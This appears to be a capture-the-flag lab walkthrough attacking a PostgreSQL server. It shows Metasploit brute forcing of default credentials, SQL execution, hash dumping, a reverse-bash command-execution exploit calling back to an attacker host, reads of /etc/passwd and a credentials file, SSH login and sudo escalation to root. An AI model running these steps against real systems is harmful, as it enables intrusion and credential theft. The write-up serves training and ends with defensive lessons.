Relational Database Management Systems (RDBMS) are the backbone of modern data-driven applications. Unlike flat-file or hierarchical systems, an RDBMS structures information into tables linked by relationships, enabling fast queries, efficient storage, and scalable data management. Most use SQL to perform essential CRUD operations (Create, Read, Update, Delete), making them both powerful and versatile.
In this challenge, we explore a PostgreSQL RDBMS running on a target machine. By leveraging reconnaissance, enumeration, and exploitation techniques with Metasploit, we uncover credentials, interact with the database, extract sensitive information, and escalate privileges to gain full control of the system.
What is rdbms?
Depending on the EF Codd relational model, an RDBMS allows users to build, update, manage, and interact with a relational database, which stores data as a table.
Today, several companies use relational databases instead of flat files or hierarchical databases to store business data. This is because a relational database can handle a wide range of data formats and process queries efficiently. In addition, it organizes data into tables that can be linked internally based on common data. This allows the user to easily retrieve one or more tables with a single query. On the other hand, a flat file stores data in a single table structure, making it less efficient and consuming more space and memory.
Most commercially available RDBMSs currently use Structured Query Language (SQL) to access the database. RDBMS structures are most commonly used to perform CRUD operations (create, read, update, and delete), which are critical to support consistent data management.
Are you able to complete the challenge?
The machine may take up to 5 minutes to boot and configure
Answer the questions below
What is the rdbms installed on the server?
What port is the rdbms running on?
nmap -sV IP_Address
msfconsole
msf6 > search postgresql auth
msf6 auxiliary(scanner/postgres/postgres_login) > show options
set RHOSTS 10.10.94.92 # <-- change to your target IP
set USER_FILE /opt/metasploit-framework/data/wordlists/postgres_default_user.txt
set PASS_FILE /opt/metasploit-framework/data/wordlists/postgres_default_pass.txt
set BRUTEFORCE_SPEED 5
set STOP_ON_SUCCESS true
run
ls /opt/metasploit-framework/embedded/framework/data/wordlists/ | grep postgres
What are the credentials you found?
example: user:password
postgres:password
What is the full path of the module that allows you to execute commands with the proper user credentials (starting with auxiliary)?
back
search postgres credentials
auxiliary/admin/postgres/postgres_sql
use 2
show options
set RHOSTS 10.10.94.92
set USERNAME postgres
set PASSWORD password
set DATABASE postgres
set SQL 'select version()'
run
Based on the results of #6, what is the rdbms version installed on the server?
set RHOSTS 10.10.94.92
set USERNAME postgres
set PASSWORD password
set DATABASE postgres
run
What is the full path of the module that allows for dumping user hashes (starting with auxiliary)?
How many user hashes does the module dump? 6
What is the full path of the module that allows arbitrary command execution with the proper user credentials (starting with exploit)?
use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
show options
set RHOSTS 10.10.51.104
set USERNAME postgres
set PASSWORD password
set DATABASE postgres
set LHOST 10.10.77.94
set LPORT 4444
exploit
What is the full path of the module (starting with auxiliary) that allows an authenticated user to view files of their choosing on the server?
set payload cmd/unix/reverse_bash
msf6 > use auxiliary/admin/postgres/postgres_readfile
set RHOSTS 10.10.51.104
set USERNAME postgres
set PASSWORD password
set DATABASE postgres
set RFILE /etc/passwd
run
[*] Running module against 10.10.51.104
Query Text: 'CREATE TEMP TABLE cJqoVshYCzTDSy (INPUT TEXT);
COPY cJqoVshYCzTDSy FROM '/etc/passwd';
SELECT * FROM cJqoVshYCzTDSy'
input
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
alison:x:1000:1000:Poster,,,:/home/alison:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:109:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
dark:x:1001:1001::/home/dark:
[+] 10.10.51.104:5432 Postgres - /etc/passwd saved in /root/.msf4/loot/20250805103411_default_10.10.51.104_postgres.file_954695.txt
[*] Auxiliary module execution completed
set RFILE /home/dark/credentials.txt
run
run
[*] Running module against 10.10.51.104
Query Text: 'CREATE TEMP TABLE AjVkyJeqvzFfvf (INPUT TEXT);
COPY AjVkyJeqvzFfvf FROM '/home/dark/credentials.txt';
SELECT * FROM AjVkyJeqvzFfvf'
============================================================================================================================================================
input
-----
dark:qwerty1234
dark:qwerty1234
[+] 10.10.51.104:5432 Postgres - /home/dark/credentials.txt saved in /root/.msf4/loot/20250805103941_default_10.10.51.104_postgres.file_663027.txt
[*] Auxiliary module execution completed
msf6 auxiliary(admin/postgres/postgres_readfile) >
ssh dark@IP_Address
whoami
ls -la
find / -type f -name user.txt 2> /dev/null
cat /home/alison/user.txt
<?php
$dbhost = "127.0.0.1";
$dbuname = "alison";
$dbpass = "p4ssw0rdS3cur3!
$dbname = "mysudopassword";
?>$
su alison
find / -type f -name user.txt 2> /dev/null
Escalate privileges and obtain root.txt
sudo -l
sudo su -
find / -type f -name root.txt 2> /dev/null
This walkthrough highlights how misconfigured or weakly secured RDBMS instances can expose critical vulnerabilities. By combining service enumeration, Metasploit modules, and credential reuse, we were able to extract database information, pivot into system access, and ultimately escalate privileges to obtain the coveted root.txt flag.
The exercise reinforces an important lesson:
Secure your database services with strong, non-default credentials.
Limit exposure of RDBMS ports to trusted networks.
Regularly audit permissions to prevent privilege escalation.
Ultimately, the challenge demonstrates how an attacker can move from a single exposed RDBMS service to complete system compromise.
